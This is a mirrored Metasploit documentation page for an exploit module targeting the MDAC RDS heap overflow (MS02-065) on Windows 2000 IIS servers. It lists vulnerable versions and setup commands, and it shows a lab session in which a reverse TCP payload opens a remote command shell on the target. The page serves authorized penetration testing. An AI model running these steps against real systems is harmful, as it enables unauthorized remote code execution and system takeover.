CoCalc -- ms02_065

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/exploit/windows/iis/ms02_065_msadc.md
Views: ¹⁹⁰⁴

Vulnerable Application

This module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service. The service is exploitable even when RDS is configured to deny remote connections (handsafe.reg). The service is vulnerable to a heap overflow where the RDS DataStub 'Content-Type' string is overly long. Microsoft Data Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.

This module has been tested successfully on:

Windows 2000 Pro SP0-SP3 (English)
Windows 2000 Pro SP0 (Korean)
Windows 2000 Pro SP0 (Dutch)
Windows 2000 Pro SP0 (Finnish)
Windows 2000 Pro SP0 (Turkish)
Windows 2000 Pro SP0-SP1 (Greek)
Windows 2000 Pro SP1 (Arabic)
Windows 2000 Pro SP1 (Czech)
Windows 2000 Pro SP2 (French)
Windows 2000 Pro SP2 (Portuguese)

Verification Steps

use exploit/windows/iis/ms02_065_msadc
set RHOSTS [IP]
show targets to see the possible targets
set TARGET [TARGET]
set PAYLOAD windows/shell/reverse_tcp
set LHOST [IP]
run

Options

TARGETURI

The path to msadcs.dll (Default: /msadc/msadcs.dll)

Scenarios

Windows 2000 Professional SP3 (EN)

msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 2000 Pro SP0-SP3 (English)
   1   Windows 2000 Pro SP0 (Korean)
   2   Windows 2000 Pro SP0 (Dutch)
   3   Windows 2000 Pro SP0 (Finnish)
   4   Windows 2000 Pro SP0 (Turkish)
   5   Windows 2000 Pro SP0-SP1 (Greek)
   6   Windows 2000 Pro SP1 (Arabic)
   7   Windows 2000 Pro SP1 (Czech)
   8   Windows 2000 Pro SP2 (French)
   9   Windows 2000 Pro SP2 (Portuguese)


msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run

[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400


Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----


C:\WINNT\system32>ver
ver

Microsoft Windows 2000 [Version 5.00.2195]